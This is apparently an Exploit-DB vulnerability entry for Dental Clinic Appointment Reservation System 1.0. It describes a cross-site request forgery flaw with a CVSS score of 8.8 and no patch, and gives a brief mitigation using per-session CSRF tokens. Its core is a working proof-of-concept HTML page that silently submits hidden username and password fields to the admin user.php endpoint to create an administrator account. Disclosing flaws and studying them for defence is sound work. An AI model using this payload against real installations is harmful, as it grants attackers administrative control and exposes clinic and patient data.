header-logo
Suggest Exploit
vendor:
Dental Clinic Appointment Reservation System
by:
Reza Afsahi
8.8
CVSS
HIGH
Cross Site Request Forgery
352
CWE
Product Name: Dental Clinic Appointment Reservation System
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:dental_clinic_appointment_reservation_system
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: PHP 7.4.11, Linux x64_x86
2021

Dental Clinic Appointment Reservation System 1.0 – Cross Site Request Forgery (Add Admin)

An attacker can exploit a Cross Site Request Forgery vulnerability in the Dental Clinic Appointment Reservation System 1.0 to add an admin user. By crafting a malicious HTML page, an attacker can send a POST request to the vulnerable user.php page with a username and password of their choice. This will add an admin user to the system.

Mitigation:

To mitigate Cross Site Request Forgery vulnerabilities, the application should implement a CSRF token that is unique to each user session. This token should be checked on each request to ensure that the request is valid.
Source

Exploit-DB raw data:

# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Cross Site Request Forgery (Add Admin)
# Date: 15-05-2021
# Exploit Author: Reza Afsahi
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: PHP 7.4.11 , Linux x64_x86


# --- Proof of concept --- #

# Vulnerable file : http://localhost/APR/admin/user.php

# Exploit:

<html>
<head>
   <title>Add Admin</title>
</head>
<body>
   <h1> Absolutely Not Vulnerable Site :D </h1>
<form method="POST" action="http://127.0.0.1/APR/admin/user.php">
   <input type="hidden" name="username" value="lol">
   <input type="hidden" name="password" value="321" >
   <button type="submit" name="submit">Click</button>
</form>
</body>
</html>